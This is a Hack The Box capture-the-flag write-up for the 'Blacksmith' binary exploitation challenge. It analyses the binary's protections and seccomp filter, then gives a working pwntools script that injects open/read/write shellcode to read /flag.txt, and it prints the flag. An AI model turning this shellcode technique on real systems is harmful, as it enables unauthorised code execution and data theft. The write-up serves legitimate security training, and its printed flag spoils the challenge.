Hack The Box · PWN Challenge
Blacksmith
| Name | Blacksmith |
|---|---|
| Hint | You are the only one who is capable of saving this town and bringing peace upon this land! You found a blacksmith who can create the most powerful weapon in the world! You can find him under the label /flag.txt. |
| Base Points | Easy - Retired [0] |
| Rated Difficulty |  |
| First Blood | HTB-Bot |
| Creator | w3th4nds |
Analysis
Download and unzip the file, then begin with the usual file, checksec, and strings checks.
The target is a 64-bit ELF Linux executable. The security properties show full RELRO, a stack canary, NX disabled, and PIE enabled. That means the binary is read-only, has a stack cookie, permits code execution from the stack, and loads at randomized addresses.
Because the function names are not stripped, Ghidra makes the important paths easy to identify. The shield function is the attack point because it accepts input when asking whether we like the new weapon and executes that input as code.
The sec function applies seccomp filtering, limiting the available system calls. Using the seccomp documentation and seccomp-tools, we confirm that read, write, open, and exit are permitted for x64.
Those allowed calls are enough to open /flag.txt, read it into memory, and write it back to standard output. Pwntools Shellcraft provides the shellcode primitives.
from pwn import *
context.binary = ELF("/blacksmith", checksec=False)
p = remote("<INSTANCE IP>", INSTANCE_PORT)
p.sendlineafter(b">", b"1")
p.sendlineafter(b">", b"2")
shellcode = asm(shellcraft.open("/flag.txt"))
shellcode += asm(shellcraft.read(3, "rsp", 40))
shellcode += asm(shellcraft.write(1, "rsp", "rax"))
p.sendlineafter(b">", flat(shellcode))
flag = p.recvline().decode().rstrip()
p.close()
log.success(f"Flag Found : {flag}")
Flag
HTB{s3cc0mp_1s_t00_s3cur3}